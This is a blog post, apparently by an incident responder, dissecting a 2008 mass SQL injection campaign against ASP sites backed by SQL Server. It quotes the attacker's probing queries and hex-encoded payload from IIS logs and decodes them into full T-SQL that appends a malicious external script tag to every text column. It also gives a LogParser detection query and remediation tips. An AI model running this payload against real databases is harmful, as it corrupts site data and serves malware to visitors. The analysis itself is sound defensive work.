Anatomy of a SQL Injection Incident, Part 2: Meat

Intro

It would appear that the incident I wrote about yesterday is still ongoing.  I've been using a search engine to query for the *.js file that's being injected and it looks something like this:

Wednesday: 10K hits (This is Avert's number.  I didn't look until Thu.)
Thursday: 12.1K hits
Friday: 12.9K hits
Saturday: 14K hits

It's not the most scientific measure but it does show a pretty steady progression.  The earliest incident that I'm aware of was around 2008-03-01 (depending on where you are in the world) so that's a rate of about a thousand hosts a day, give or take. 

Hensing took me to task, privately, for my last post on this because it wasn't very detailed.  Fair enough, let's see if we can flesh this out. 

Analysis of an Incident

One interesting thing is that the attack appears to do different things depending on the responses it gets to various queries.  I've seen three successful incidents and, while they are all similar, it's clear that the script is doing different things depending on the responses it gets.  In all four cases, the first thing that happens is:

2008-03-08 13:37:12 /dir1/archive.asp id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 1171

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562

The id=... portion of that log is the cs-uri-query portion of the log.  If you were to hit this in the browser, the URL would look like this:

https://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0

These lines are double-encoded -- the first set of encoded characters, which would be translated by IIS, are denoted by %XX.  For example, %20 is a space.  The second set aren't meant to be translated until they get to the SQL Server and they use the char(xxx) function in SQL.  If we unencode both of those lines, we get this:

id=z ANd |user|=0
id=z ANd |user|=0 and ''='

The next query is a lot of fun:

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int. 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390

This time, it reads:

id=z ANd |user|=0 and '%'='

This time, the attacker has hit the right combination to return a very informative error message -- he now knows the user ("IUSR_Server") that the web application is running as.  In this particular instance, the attacker is happy with this information and proceeds to deliver the payload.  In another instance I looked at, the attacker used one extra query with the IS_SRVROLEMEMBER T-SQL function to see if the user was a sysadmin.

So, finally, the attacker is delivering the payload.  I've truncated these for readability:

2008-03-08 13:37:15 /dir1/archive.asp id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 1421

2008-03-08 13:37:25 /dir1/archive.asp id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234

This looks a little complicated but, if we remove the encoding, we get this:

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--

So, here's what this little bit of T-SQL is doing:

  1. Declaring a variable, S, as an NVARCHAR.  For those of us who don't speak T-SQL natively, think of this as a string.
  2. Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR.  In other words, we're taking this hex representation of a string and turning it into a real string.
  3. Once that's done, we execute that string as a T-SQL statement.

So, of course, the next question is "What is that string?"  Here it is, with a bit of sanitization:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=https://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

This one is a little more complicated but it does something like this:

  1. Declare a few variables that are used later.
  2. Do a SQL query on the sysobjects and syscolumns tables.  This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database.  What this query is looking for is every column in the entire database with a type that contains strings.
  3. Now, we're going to loop through all of those columns and, in every one of them...
  4. ...we're going to append the <script>...</script> text.
  5. Finally, clean up and we're done.

Now that this has run, every bit of text in your database has this malicious script tag appended to it.  If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.

Check Yourself

If you've got a website that uses a database as a backend, you should now be a little concerned.  Here are some ideas on what to look for.

So far, the only affected platform that I'm aware of is ASP pages with Microsoft SQL Server as a backend.  That doesn't mean that some miscreants won't move on to ASP.Net or PHP or something else -- the attack should be easy enough to move to other platforms.  It just means that, so far, ASP pages are all that I've seen affected.

If you fit into that category, then you'll be wanting to review your IIS logs for anything suspicious.  LogParser is, hands down, my favorite tool for this sort of work.  If you download it, you should be able to do a query like this on your IIS logs:

LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE cs-uri-query LIKE '%CAST(%'"

This is go through all the IIS logs in the directory and search them for lines where the query string contains "CAST(" and output those lines into suspicious.csv.  Since "CAST(" should be a pretty unusual string in cs-uri-query, if you have any hits here, it's worth investigating further(2).

If you are affected, then this isn't going to be an easy incident to recover from.  My own suggestion would be to pull your website down until you can figure out what's going on -- you're still vulnerable AND you're serving up attacks to every user who comes to your site.  That's not going to impress anybody.

The first order of business would be to figure out where you're vulnerable and how vulnerable you are.  That's really beyond the scope of what I'm going to hammer out today but I'd suggest starting with a copy of Writing Secure Code and going from there.

 Edit: I forgot to mention that this is also a good time to review the privileges that your web app has in SQL.  It definitely shouldn't need to be sysadmin!

Footnotes

(1) It's a fair bet that any time you see a hex string where every other byte is 0x00, it's text from a Western language encoded in Unicode.

(2) Obligatory plug for my team -- Microsoft provides no-charge support for any security incident.  If you believe you've been affected by this,  you can call us for assistance.  This page has all the appropriate details for the US and Canada and there are links from there to every other region.